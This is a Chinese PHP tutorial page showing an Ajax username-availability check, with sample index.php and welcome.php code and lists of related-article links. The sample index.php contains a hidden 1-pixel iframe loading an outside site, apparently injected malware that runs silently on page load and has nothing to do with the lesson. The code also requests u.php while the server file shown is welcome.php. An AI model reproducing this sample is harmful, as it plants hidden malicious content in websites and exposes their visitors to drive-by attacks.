PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
超小PHP小马小结(方便查找后门的朋友)
May 05 PHP
PHP将字符分解为多个字符串的方法
Nov 22 PHP
php实现发送微信模板消息的方法
Mar 07 PHP
PHP+jQuery+Ajax实现用户登录与退出
Apr 27 PHP
php求今天、昨天、明天时间戳的简单实现方法
Jul 28 PHP
基于PHP制作验证码
Oct 12 PHP
Zend Framework路由器用法实例详解
Dec 11 PHP
针对thinkPHP5框架存储过程bug重写的存储过程扩展类完整实例
Jun 16 PHP
PHP实现数组转JSon和JSon转数组的方法示例
Jun 14 PHP
php文件后缀不强制为.php的实操方法
Sep 18 PHP
Docker 安装 PHP并与Nginx的部署实例讲解
Feb 27 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
Nov 23 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
PHP简介
2006/10/09 PHP
PHP实现对文本数据库的常用操作方法实例演示
2014/07/04 PHP
JS构建页面的DOM节点结构的实现代码
2011/12/09 Javascript
在JS数组特定索引处指定位置插入元素的技巧
2014/08/24 Javascript
浅谈Javascript中匀速运动的停止条件
2014/12/19 Javascript
Bootstrap每天必学之导航
2015/11/26 Javascript
JavaScript数据结构与算法之集合(Set)
2016/01/29 Javascript
简单模拟node.js中require的加载机制
2016/10/27 Javascript
Angular2 Service实现简单音乐播放器服务
2017/02/24 Javascript
vue.js实现含搜索的多种复选框(附源码)
2017/03/23 Javascript
详解JS中的柯里化(currying)
2017/08/17 Javascript
基于 Vue.js 2.0 酷炫自适应背景视频登录页面实现方式
2018/01/17 Javascript
ionic2中使用自动生成器的方法
2018/03/04 Javascript
微信小程序template模板与component组件的区别和使用详解
2019/05/22 Javascript
Vue项目移动端滚动穿透问题的实现
2020/05/19 Javascript
[03:40]DOTA2亚洲邀请赛小组赛第二日 赛事回顾
2015/01/31 DOTA
linux下安装easy_install的方法
2013/02/10 Python
python处理大数字的方法
2015/05/27 Python
Python实现屏幕截图的代码及函数详解
2016/10/01 Python
python实现扫描ip地址的小程序
2019/04/16 Python
在Pycharm中调试Django项目程序的操作方法
2019/07/17 Python
python不使用for计算两组、多个矩形两两间的iou方式
2020/01/18 Python
Win10里python3创建虚拟环境的步骤
2020/01/31 Python
解决python -m pip install --upgrade pip 升级不成功问题
2020/03/05 Python
python标准库OS模块详解
2020/03/10 Python
Python datetime 如何处理时区信息
2020/09/02 Python
TOWER London官网:鞋子、靴子、运动鞋等
2019/07/14 全球购物
荷兰网上药店:Drogisterij.net
2019/09/03 全球购物
高中生自我鉴定范文
2013/10/30 职场文书
考试作弊被抓检讨书
2014/01/10 职场文书
教育技术学专业职业规划书
2014/03/03 职场文书
个人委托书怎么写
2014/04/04 职场文书
八荣八耻的活动方案
2014/08/16 职场文书
2014年财务人员工作总结
2014/11/11 职场文书
市场部岗位职责
2015/02/12 职场文书
2015年销售助理工作总结
2015/05/11 职场文书